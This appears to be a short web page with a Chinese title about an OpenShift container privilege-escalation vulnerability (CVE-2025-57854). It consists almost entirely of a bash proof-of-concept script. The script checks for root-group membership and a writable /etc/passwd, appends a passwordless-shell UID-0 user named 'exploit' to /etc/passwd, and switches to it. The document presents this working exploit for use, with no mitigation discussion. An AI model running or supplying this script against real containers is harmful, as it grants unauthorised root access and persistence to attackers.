CVE-2025-57854 OpenShift容器权限提升漏洞

#!/bin/bash # PoC for CVE-2025-57854: Container Privilege Escalation via /etc/passwd # This script demonstrates how to add a root user if /etc/passwd is group-writable. PASSWD_FILE="/etc/passwd" # Check if the current user is in the 'root' group (GID 0) if groups | grep -q '\broot\b'; then echo "[+] Current user is in the root group." else echo "[-] Current user is NOT in the root group. Exploit failed." exit 1 fi # Check if /etc/passwd is writable by the group if [ -w "$PASSWD_FILE" ]; then echo "[+] $PASSWD_FILE is group-writable." # Define the new malicious root user entry # Format: username:password:UID:GID:gecos:home:shell # We create a user 'exploit' with UID 0 and no password set NEW_USER="exploit:x:0:0:Exploit User:/root:/bin/bash" echo "[+] Attempting to write new user to $PASSWD_FILE..." echo "$NEW_USER" >> "$PASSWD_FILE" if grep -q "^exploit:" "$PASSWD_FILE"; then echo "[+] User 'exploit' added successfully." echo "[+] Attempting to switch to user 'exploit' (UID 0)..." # Note: su might require a terminal, but in a non-interactive shell or script context, # the user entry existing is the proof of concept for persistence. su - exploit -c "id" else echo "[-] Failed to add user." fi else echo "[-] $PASSWD_FILE is not writable. Exploit failed." fi